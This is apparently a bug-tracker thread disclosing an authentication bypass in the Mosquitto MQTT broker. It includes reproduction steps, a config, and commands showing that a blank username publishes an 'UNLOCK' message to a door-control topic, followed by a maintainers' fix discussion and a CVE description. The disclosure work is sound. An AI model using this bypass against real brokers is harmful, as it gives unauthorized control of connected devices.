Community
Participate
Working Groups
I have verified this vulnerability in the latest available build on GitHub (version 1.5.5) and the version shipping with Ubuntu 16.04 (1.4.8). To reproduce: 1. Install Mosquitto utilizing your preferred technique (package manager, etc.). For this example, I installed it using Aptitude. 2. Edit '/etc/mosquitto.conf', adding these lines to enable access control: password_file /etc/mosquitto/mosquitto.users acl_file /etc/mosquitto/mosquitto.acl allow_anonymous false 3. Create '/etc/mosquitto/mosquitto.acl' with this content: user test readwrite # 4. Create '/etc/mosquitto/mosquitto.users' with this content: test:$6$BHZEmbaA2YgNtNRI$qJ399QBKyrhnzEQCyoL3qU0N8VopPEGZwCjXb8fALz/cFP+ICnJi7cIIIdm3if08qc/0YbI3Ete0md2GqUjG7Q== NOTE: This sets up a username of 'test' and a password of 'test'. 5. (Re)start the mosquitto service. 6. Confirm access control is enabled: root@hydra:~# mosquitto_pub -d -t TestTopic -m Testmessage Client mosqpub/30229-hydra sending CONNECT Client mosqpub/30229-hydra received CONNACK Connection Refused: not authorised. Error: The connection was refused. 7. Confirm test/test username and password grants access: root@hydra:~# mosquitto_pub -d -u 'test' -P 'test' -t TestTopic -m Testmessage Client mosqpub/30230-hydra sending CONNECT Client mosqpub/30230-hydra received CONNACK Client mosqpub/30230-hydra sending PUBLISH (d0, q0, r0, m1, 'TestTopic', ... (11 bytes)) Client mosqpub/30230-hydra sending DISCONNECT 8. Confirm an incorrect username or password denies access: root@hydra:~# mosquitto_pub -d -u 'tes' -P 'test' -t TestTopic -m Testmessage Client mosqpub/30233-hydra sending CONNECT Client mosqpub/30233-hydra received CONNACK Connection Refused: not authorised. Error: The connection was refused. root@hydra:~# mosquitto_pub -d -u 'test' -P 'tes' -t TestTopic -m Testmessage Client mosqpub/30276-hydra sending CONNECT Client mosqpub/30276-hydra received CONNACK Connection Refused: not authorised. Error: The connection was refused. 9. Confirm vulnerability. Publish an arbitrary message using a blank username: root@hydra:~# mosquitto_pub -d -u '' -t DoorControl -m UNLOCK Client mosqpub/30279-hydra sending CONNECT Client mosqpub/30279-hydra received CONNACK Client mosqpub/30279-hydra sending PUBLISH (d0, q0, r0, m1, 'DoorControl', ... (6 bytes)) Client mosqpub/30279-hydra sending DISCONNECT 10. Assuming the appropriate firewall port has been opened, confirm the vulnerability remotely: taylorc@iris:~$ mosquitto_pub -h hydra -d -u '' -t DoorControl -m UNLOCK Client mosqpub/12640-iris sending CONNECT Client mosqpub/12640-iris received CONNACK Client mosqpub/12640-iris sending PUBLISH (d0, q0, r0, m1, 'DoorControl', ... (6 bytes)) Client mosqpub/12640-iris sending DISCONNECT
Please assign a CVE.
This happens due to the way the username/password file is parsed. If it contains a line that is just a newline (a very easy mistake to make), it triggers the bug. A workaround is to make sure that one's username/password file contains no stray newlines. The code should be modified to skip blank lines when loading the username/password file.
It's not limited to blank lines. Suppose someone maintains their own list of users for private IoT, and has a "comment" in the file like: # Outdoor weather station test:$6$salt$hashedpassword$ In this case, no parse error occurs and "# Outdoor weather station" becomes a valid username, with no password required. The chances of this occurring are compounded by mosquitto_passwd being unable to add an entry to a password file, or to be smart enough to not re-encrypt already-encrypted entries. This leads people to cut and paste together password files, easily triggering the bug by accident.
Could I have a CVE assigned for this please, I'll add CVSS and description details later.
Thanks for the clear walk through and analysis. I am a bit confused by your final paragraph, which although minor in comparison is the most likely way that this would happen. I can do: # Create a password file mosquitto_passwd -c pwfile user1 # Add a new user mosquitto_passwd pwfile user2 # Update a user mosquitto_passwd pwfile user1 The new/updated user doesn't affect the other users in the file. Can you explain why you can't add new users?
It appears I can, thanks to your examples. I never considered this because the documentation (located here: https://mosquitto.org/man/mosquitto_passwd-1.html) shows this: Add a user to a new password file: mosquitto_passwd -c /etc/mosquitto/passwd ral Which, according to the same page: -c Create a new password file. If the file already exists, it will be overwritten. And this line at the beginning of the same page got short-circuited in the programmer section of my brain as "must use -c or -D" mosquitto_passwd [ -c | -D ] passwordfile username These components of the documentation lead me to believe that it wasn't possible to simply add a user and I never looked any further into the utility's other possible command line configurations.
Description: If Mosquitto is configured to use a password file for authentication, any malformed data in the password file will be treated as valid. This typically means that the malformed data becomes a username and no password. If this occurs, clients can circumvent authentication and get access to the broker by using the malformed username. In particular, a blank line will be treated as a valid empty username. Other security measures are unaffected. Users who have only used the mosquitto_passwd utility to create and modify their password files are unaffected by this vulnerability. Affects versions 1.0 to 1.5.5 inclusive. CVSS v2: https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator?vector=(AV:N/AC:M/Au:N/C:P/I:P/A:N/E:ND/RL:OF/RC:C) CVSS v3: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N/E:X/RL:O/RC:C Could I have a CVE assigned please?
https://cwe.mitre.org/data/definitions/703.html
